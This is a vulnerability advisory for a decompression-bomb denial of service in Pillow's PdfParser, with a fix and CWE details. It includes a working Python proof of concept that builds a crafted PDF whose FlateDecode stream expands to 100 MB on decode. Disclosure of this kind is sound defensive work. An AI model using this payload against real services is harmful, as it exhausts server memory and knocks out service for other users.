CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
A crafted PDF file with a FlateDecode-compressed stream can exhaust all server memory because Pillow's PdfParser passes an attacker-controlled length hint to zlib.decompress() with no cap on actual ou
The problem
PIL.PdfParser.PdfStream.decode() reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as the bufsize argument to zlib.decompress(). Python's bufsize is only an initial buffer hint, not a hard limit. The decompressor expands memory until the full output is produced, no matter how large.
Any application that passes untrusted PDF input to PdfParser is exposed. A ~950 KB crafted file decompresses to 1 GB, causing OOM termination or severe service degradation for all concurrent users. No authentication is required.
Proof of concept
A working proof-of-concept for CVE-2026-59200 in Pillow, with the exact payload below.
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
# Triggers unbounded zlib.decompress() inside PdfStream.decode()
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
# Output on Pillow 12.1.1, Python 3.12:
# PDF size: 97,538 bytes | Decoded: 100,000,000 bytes in 0.265sThe root cause is a confusion between zlib.decompress()'s bufsize parameter and a maximum size limit. bufsize is an initial output buffer hint only. Python will reallocate and grow the buffer until the full decompressed result fits, regardless of the value passed.
Because the Length or DL field in the PDF dictionary is attacker-controlled, an adversary can embed a heavily compressed stream (1,028:1 ratio using zlib level 9 on zero bytes) while keeping the declared Length modest. The fix in 12.3.0 adds ImageFile.SAFEBLOCK as a hard ceiling on decompressed output inside PdfStream.decode(), and exposes the limit as a parameter callers can override.
The CWE is CWE-400 (Uncontrolled Resource Consumption) with a secondary of CWE-770 (Allocation of Resources Without Limits or Throttling).
The fix
Upgrade Pillow to 12.3.0 or later. The patch (commit f7a31ea7, PR #9718) adds ImageFile.SAFEBLOCK as the default maximum decompressed size inside PdfStream.decode(), raising a ValueError if the output exceeds it. If your application legitimately needs larger PDF streams, you can pass a custom max_length argument to decode() after upgrading.
Reported by redyank.
Related research
- high · 8.2CVE-2026-59197CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter
- high · 7.5CVE-2026-59199CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing
- high · 7.5CVE-2026-49476CVE-2026-49476: soupsieve Memory Exhaustion via Unbounded Selector List